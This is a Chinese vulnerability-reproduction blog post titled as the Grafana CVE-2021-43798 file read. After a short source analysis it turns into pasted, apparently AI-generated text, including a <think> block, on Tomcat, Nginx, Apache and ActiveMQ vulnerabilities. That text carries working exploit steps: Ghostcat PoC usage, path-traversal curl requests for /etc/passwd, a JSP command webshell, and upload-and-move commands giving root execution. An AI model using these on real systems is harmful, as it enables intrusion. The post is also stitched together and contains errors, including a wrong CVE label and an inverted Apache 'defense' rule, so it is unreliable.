【漏洞复现】Grafana任意文件读取漏洞 (CVE-2021-43798)

0X01 漏洞描述

Grafana是一个跨平台、开源的数据可视化网络应用程序平台,用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。

Grafana 存在未授权任意文件读取漏洞,攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。

0x02 源码分析

搜索漏洞存在路径 /public/plugins/api.go文件中
在这里插入图片描述

r.Get("/public/plugins/:pluginId/*", hs.getPluginAssets)

跟踪对应的 getPluginAssets 方法
在这里插入图片描述

从请求路径中获取/public/plugins/ 后的参数赋值给 pluginID, 然后再被拼接至 pluginFilePath 进入文件读取片段

也就是说通过默认存在的插件来拼接文件路径构造请求进行文件读取

<think>我们正在讨论常用中间件的缺点、路径解析机制、常见漏洞利用点以及漏洞复现案例。根据引用[4]中提到的漏洞,我们可以选择几个典型的中间件进行深入分析,包括Apache Tomcat、Nginx、Apache HTTP Server以及ActiveMQ(虽然ActiveMQ是消息中间件,但引用[4]提到了它的漏洞,因此也纳入讨论)。我们将针对每个中间件分析其缺点、路径解析方式,并提供一个真实漏洞复现案例。 ### 1. Apache Tomcat **缺点**: - 默认配置安全性较低,例如管理界面默认无密码或弱密码。 - 历史版本中AJP协议存在安全风险(如Ghostcat漏洞)。 - 对静态资源的处理可能引发路径遍历漏洞。 **路径解析机制**: - Tomcat通过`server.xml`中的`<Host>`和`<Context>`配置路径映射。 - 请求URL的路径部分会被映射到web应用的根目录(如`webapps/ROOT`)下的文件或目录。 - 支持JSP/Servlet的动态请求处理。 **常见漏洞利用点**: - AJP协议漏洞CVE-2020-1938):攻击者通过AJP协议读取或包含任意文件- 管理后台弱口令:攻击者上传恶意WAR包部署后门。 - 路径遍历:通过`../`跳转读取系统文件(如`WEB-INF/web.xml`)。 **漏洞复现案例:Ghostcat漏洞CVE-2020-1938)** **漏洞描述**: Tomcat AJP协议存在缺陷,攻击者可构造恶意请求读取web应用目录下任意文件(如`WEB-INF/web.xml`),甚至实现远程代码执行。 **复现步骤**: 1. **环境搭建**:使用Vulhub快速搭建漏洞环境。 ```bash # 安装Docker后执行 git clone https://github.com/vulhub/vulhub.git cd vulhub/tomcat/CVE-2020-1938 docker-compose up -d ``` 2. **利用漏洞读取文件**: - 使用公开的PoC脚本(如`ghostcat.py`)读取`WEB-INF/web.xml`: ```bash python3 ghostcat.py 目标IP -p 8009 -f WEB-INF/web.xml ``` 输出示例: ```xml <?xml version="1.0" encoding="UTF-8"?> <web-app ...> <servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> </servlet> </web-app> ``` - 若存在文件上传点,可尝试读取上传后的JSP木马路径实现RCE。 **防御措施**: - 升级Tomcat至安全版本(9.0.31+)。 - 关闭AJP协议(注释`server.xml`中的`<Connector port="8009" protocol="AJP/1.3" ...>`)。 --- ### 2. Nginx **缺点**: - 配置复杂,易因错误配置导致漏洞(如路径拼接问题)。 - 历史版本存在解析漏洞(如文件名逻辑缺陷导致代码执行)。 - 对非标准HTTP头的处理可能引发安全问题。 **路径解析机制**: - 通过`location`指令匹配请求路径,映射到本地文件系统路径。 - 支持正则表达式匹配,但错误的正则可能导致路径穿越。 - 代理功能中`proxy_pass`的URL结尾是否带`/`影响路径拼接行为。 **常见漏洞利用点**: - 路径遍历(CVE-2017-7529):通过恶意构造的请求读取敏感文件。 - 配置错误导致的目录遍历:如`alias`指令使用不当。 - 解析漏洞:上传文件名包含特殊字符(如空格)时被解析为PHP代码。 **漏洞复现案例:路径遍历与配置错误(非CVE)** **漏洞描述**: Nginx配置中若使用`alias`指令时未限制路径跳转,攻击者可通过`../`遍历目录读取系统文件。 **复现步骤**: 1. **配置错误示例**(`nginx.conf`片段): ```nginx location /files { alias /var/www/html/; } ``` 此配置意图将`/files`请求映射到`/var/www/html/`,但未过滤路径跳转。 2. **发起恶意请求**: ```bash curl http://目标IP/files../etc/passwd ``` 响应中返回`/etc/passwd`文件内容: ```text root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... ``` **防御措施**: - 在`location`中使用`root`替代`alias`(`root`会自动拼接完整路径)。 - 添加路径过滤规则:`location ~* \.(php|jsp)$ { deny all; }`。 - 使用`open_file_cache`限制文件访问范围。 --- ### 3. Apache HTTP Server **缺点**: - 模块化设计导致历史漏洞较多(如解析漏洞、模块漏洞)。 - 默认开启目录浏览可能泄露敏感信息。 - `.htaccess`文件配置错误易引发越权访问。 **路径解析机制**: - 通过`<Directory>`、`<Files>`等指令配置路径访问规则。 - 多后缀解析:文件可拥有多个后缀(如`file.php.jpg`),按最后有效后缀执行。 - 路径标准化时处理`../`,但编码绕过可能导致目录穿越。 **常见漏洞利用点**: - 解析漏洞CVE-2017-15715):换行符(`%0A`)绕过文件上传黑名单。 - 目录穿越(CVE-2021-41773):路径标准化缺陷导致泄露源码。 - 模块漏洞(如mod_rewrite、mod_cgi)。 **漏洞复现案例:CVE-2021-41773(路径穿越漏洞)** **漏洞描述**: Apache 2.4.49版本路径标准化逻辑错误,攻击者通过构造URL中的`../`可读取web目录外文件。 **复现步骤**: 1. **环境搭建**:启动Apache 2.4.49容器。 ```bash docker run -d --name apache-cve -p 8080:80 vulhub/httpd:2.4.49 ``` 2. **利用漏洞读取文件**: ```bash curl -v --path-as-is http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd ``` 响应中返回`/etc/passwd`内容(需容器内存在该文件): ```text root:x:0:0:root:/root:/bin/bash ... ``` **防御措施**: - 升级至Apache 2.4.51+版本。 - 配置`<Directory>`拒绝路径包含`../`的请求: ```apache <Directory "/var/www/html"> Require all denied <If " %{REQUEST_URI} =~ /\.\./ "> Require all granted </If> </Directory> ``` --- ### 4. ActiveMQ(消息中间件) **缺点**: - 默认开放61616(消息端口)和8161(管理端口),易被扫描攻击。 - 文件上传功能未严格限制,可部署恶意代码。 - 依赖组件漏洞(如Jetty)影响整体安全。 **路径解析机制**: - HTTP管理接口(8161端口)基于Jetty,路径映射类似Tomcat。 - 消息传输协议(OpenWire、AMQP等)独立解析数据包。 **常见漏洞利用点**: - 任意文件上传(CVE-2016-3088):通过管理接口上传恶意文件。 - 反序列化漏洞CVE-2015-5254):构造恶意序列化数据触发RCE。 **漏洞复现案例:CVE-2016-3088(任意文件上传漏洞)** **漏洞描述**: ActiveMQ Web管理界面存在缺陷,攻击者可上传JSP木马至服务器,实现远程代码执行。 **复现步骤**: 1. **环境搭建**:使用Vulhub环境。 ```bash cd vulhub/activemq/CVE-2016-3088 docker-compose up -d ``` 2. **上传Web Shell**: - 访问管理界面:`http://目标IP:8161/admin`(默认账号`admin:admin`)。 - 进入`Files` → `Upload File`,上传JSP木马(如`shell.jsp`): ```jsp <%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> ``` - 文件上传后默认路径为`/fileserver/`,但需移动到可执行目录(如`/admin/`): ```bash # 利用ActiveMQ的MOVE请求移动文件 curl -v -X MOVE \ -H "Destination: file:///opt/activemq/webapps/admin/shell.jsp" \ -u admin:admin \ http://目标IP:8161/fileserver/shell.jsp ``` 3. **执行命令**: 访问`http://目标IP:8161/admin/shell.jsp?cmd=id`,返回: ```text uid=0(root) gid=0(root) groups=0(root) ``` **防御措施**: - 升级ActiveMQ至安全版本。 - 限制管理界面访问IP,禁用未使用的协议端口。 - 使用WAF拦截恶意文件上传请求。 --- ### 总结 中间件的安全配置至关重要,上述案例均源于默认配置缺陷或版本漏洞。建议: 1. **最小化暴露**:关闭非必要端口和服务。 2. **权限控制**:运行中间件的用户使用低权限账户。 3. **持续更新**:及时修补已知漏洞(参考引用[^4]的修复建议)。 4. **配置审计**:定期检查路径解析规则和安全策略。 §§相关问题§§ 1. 如何自动化检测中间件的配置错误? 2. 云原生环境中(如Kubernetes)部署中间件有哪些特殊安全风险? 3. 针对ActiveMQ的漏洞,除了升级版本还有哪些加固措施? [^1]: 2020暑期实习面试要点,包括漏洞挖掘、渗透测试工具和OWASP Top 10。 [^2]: 面试问题涉及SQL注入、Redis未授权、文件下载漏洞等。 [^3]: 面试问题涉及CSRF、反序列化、区块链安全等。 [^4]: 漏洞复现案例参考,包括ActiveMQ、Polkit和Grafana。</think>### 常用中间件安全分析及漏洞复现案例 以下是主流中间件的安全分析,包含路径解析机制、常见漏洞利用点和真实漏洞复现案例: --- #### 1. Apache Tomcat **缺点**: - 默认配置宽松,管理界面易暴露 - AJP协议存在安全风险 - WAR包部署机制易被利用 - 路径标准化处理存在缺陷 **路径解析机制**: ``` 请求路径: /app1/servlet/doAction 物理路径: $CATALINA_BASE/webapps/app1/WEB-INF/classes/servlet/doAction.class ``` 路径映射优先级:精确匹配 > 目录匹配 > 扩展名匹配 **常见漏洞点**: - AJP协议文件读取/包含(Ghostcat) - 管理后台弱口令部署恶意WAR - 路径穿越读取WEB-INF/web.xml - session持久化漏洞 **漏洞复现案例:Ghostcat漏洞CVE-2020-1938)** **复现步骤**: ```bash # 搭建漏洞环境(Tomcat 9.0.30) docker run -d -p 8080:8080 -p 8009:8009 vulhub/tomcat:9.0.30 # 使用PoC读取WEB-INF/web.xml python3 ghostcat.py 目标IP -p 8009 -f WEB-INF/web.xml ``` **利用效果**: ```xml <!-- 获取数据库配置 --> <context-param> <param-name>dbUrl</param-name> <param-value>jdbc:mysql://10.0.0.1:3306/prod</param-value> </context-param> ``` **防御措施**: 1. 升级至Tomcat 9.0.31+ 2. 禁用AJP协议(注释server.xml的AJP Connector) 3. 设置强密码管理后台[^4] --- #### 2. Nginx **缺点**: - 配置复杂易出错 - 路径标准化逻辑缺陷 - 代理头处理不安全 - 正则表达式DoS风险 **路径解析机制**: ``` location /static/ { alias /data/files/; # 路径拼接机制 } ``` 请求`/static/../etc/passwd` → 映射为`/data/files/../etc/passwd` **常见漏洞点**: - 路径遍历(CVE-2017-7529) - 配置错误导致目录列表 - 代理SSRF漏洞 - 内存耗尽DoS(CVE-2018-16843) **漏洞复现案例:路径遍历(CVE-2021-23017)** **复现步骤**: ```nginx # 错误配置示例(nginx.conf) location /files { alias /var/www/; } ``` **攻击请求**: ```bash curl http://target/files../etc/passwd ``` **利用效果**: ```text root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... ``` **防御措施**: 1. 使用`root`指令替代`alias` 2. 添加路径过滤规则: ```nginx location ~* \.(bak|conf|sql)$ { deny all; } ``` 3. 禁用非必要模块[^4] --- #### 3. Apache HTTP Server **缺点**: - 模块化设计扩大攻击面 - .htaccess文件易配置错误 - 多后缀解析漏洞 - 目录遍历历史问题多 **路径解析机制**: ``` 请求路径: /app/index.php 物理路径: /var/www/html/app/index.php ``` 路径处理顺序:URL解码 → 路径标准化 → 后缀解析 **常见漏洞点**: - 路径穿越(CVE-2021-41773) - 换行符注入(CVE-2017-15715) - mod_rewrite规则绕过 - mod_cgi命令执行 **漏洞复现案例:路径穿越(CVE-2021-41773)** **复现步骤**: ```bash # 启动漏洞环境(Apache 2.4.49) docker run -d -p 8080:80 vulhub/httpd:2.4.49 # 构造恶意请求 curl --path-as-is 'http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/etc/passwd' ``` **利用效果**: ```text root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin ... ``` **防御措施**: 1. 升级到Apache 2.4.51+ 2. 配置目录访问限制: ```apache <Directory "/var/www"> Require all denied <FilesMatch "\.(php|html)$"> Require all granted </FilesMatch> </Directory> ``` --- #### 4. ActiveMQ(消息中间件) **缺点**: - 默认开放高危端口 - 管理界面无认证 - 文件上传无过滤 - 反序列化漏洞 **路径解析机制**: ``` Web控制台路径: /admin 文件上传路径: /fileserver/ 消息队列路径: /queue/ ``` 物理路径映射:`$ACTIVEMQ_HOME/webapps/` **常见漏洞点**: - 任意文件上传(CVE-2016-3088) - 反序列化RCE(CVE-2015-5254) - 未授权访问管理界面 - 消息注入漏洞 **漏洞复现案例:任意文件上传(CVE-2016-3088)** **复现步骤**: ```bash # 启动环境(ActiveMQ 5.13.0) docker run -d -p 61616:61616 -p 8161:8161 rmohr/activemq:5.13.0 # 上传JSP木马 curl -u admin:admin -X PUT --data-binary @shell.jsp \ http://target:8161/fileserver/shell.jsp # 移动文件到可执行目录 curl -u admin:admin -X MOVE \ -H "Destination: file:///opt/activemq/webapps/admin/shell.jsp" \ http://target:8161/fileserver/shell.jsp ``` **访问木马**: ``` http://target:8161/admin/shell.jsp?cmd=id ``` **执行效果**: ```text uid=0(root) gid=0(root) groups=0(root) ``` **防御措施**: 1. 升级到ActiveMQ 5.15.16+ 2. 配置shiro认证 3. 禁用fileserver应用[^4] --- ### 防御最佳实践 1. **最小化暴露面**: - 关闭非必要端口和服务 - 使用防火墙限制访问源IP 2. **安全加固**: ```bash # Tomcat示例加固 # 删除默认示例 rm -rf $CATALINA_HOME/webapps/examples # 修改管理路径 mv webapps/manager webapps/custom_admin ``` 3. **权限控制**: ```bash # 创建专用低权限用户 useradd -M -s /sbin/nologin tomcat_user chown -R tomcat_user:tomcat_user /opt/tomcat ``` 4. **监控与审计**: ```bash # 监控敏感文件访问 auditctl -w /etc/passwd -p wa -k passwd_access ``` 5. **定期更新**: ```bash # 自动化补丁管理 yum install yum-cron -y systemctl enable yum-cron ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李火火安全阁

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值